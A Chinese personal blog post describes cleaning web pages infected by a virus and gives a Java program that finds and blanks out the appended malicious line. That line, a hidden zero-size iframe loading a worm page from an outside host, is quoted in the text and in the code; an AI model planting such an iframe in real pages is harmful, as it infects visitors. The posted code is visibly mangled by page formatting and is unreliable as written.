小鱼的空气

记录我所思

修复被病毒修改的网页

     前几天机器中毒,开始时只是IE弹弹窗口,后来严重到不可以忍受以至重装,今天打开一些J以前备份下来的JSP文件看看,每个文件最后都加上了一行:"<iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>",这样打开这些网页就可能中招,再看看HTML文件也同样遭此毒手。

       于是便开始用Java写个小程序来修复这些文件,要高效率地修复这些文件,看来只能使用RandomAccessFile,因为其它的IO流都是顺序读写的,而RandomAccessFile可以跳到指定的位置。方法很简单,计算一下这行垃圾的起始位置,然后用空格替换之。没什么好说的,值得注意的是写空格时,只有用randomAccessFile.writeBytes(" ")才行,其它的写方法会写入乱码,待探究。
       
       下面将代码贴上,以备忘。

package hy;

import java.io.File;
import java.io.FileNotFoundException;
import java.io.FilenameFilter;
import java.io.RandomAccessFile;

public class RepairPage {

    
private static int num;
    
private String worm = "<iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>";


    
public void repair(File page){
        
//System.out.println("Try File:"+page.getPath());
        try {
            RandomAccessFile r 
= new RandomAccessFile(page,"rw");
            
if(r.length()<70)
                
return;
            r.seek(r.length() 
- 70);//跳到最后一行
            String shit = r.readLine();
            
if(shit.equals(worm)){
                
//System.out.println("shit content:"+shit);
                System.out.println("修复损坏文件:"+page.getPath());
                r.seek(r.length() 
- 70);
                
for (int i = 0; i < worm.length(); i++{
                    r.writeBytes(
" ");
                }

                num 
++;
            }

        }
 catch (Exception e) {
            e.printStackTrace();
        }

    }


    
public void doDir(File dir) {
        
if (dir.canRead()) {
            
if (dir.isDirectory()) {
                String[] files 
= dir.list();
                
if (files != null{
                    
for (int i = 0; i < files.length; i++{
                        doDir(
new File(dir, files[i]));// 递归
                    }

                }

            }
 else {// is File
                String name = dir.getName();
                
if (name.endsWith("jsp"|| name.endsWith("html"|| name.endsWith("htm"))
                    repair(dir);
            }

        }

    }


    
public static void main(String[] args) {

        File dir 
= new File("c:\\pages");
        RepairPage repair 
= new RepairPage();
        repair.doDir(dir);
        System.out.println(
"修复成功完成,修复文件数:"+repair.num);
    }


}

posted on 2006-12-20 19:23 小鱼 阅读(311) 评论(1)  编辑  收藏

评论

# re: 修复被病毒修改的网页 2007-12-24 23:25 崩溃边缘

你好 我也被类似的病毒感染了

硬盘里有7000多个html和htm文件被感染!

不懂java,有朋友刚学.

能否帮助一下?

我的邮箱 369308529@qq.com

  回复  更多评论   


只有注册用户登录后才能发表评论。


网站导航:
 
<2024年11月>
272829303112
3456789
10111213141516
17181920212223
24252627282930
1234567

导航

统计

常用链接

留言簿(3)

我参与的团队

随笔档案

文章档案

搜索

最新评论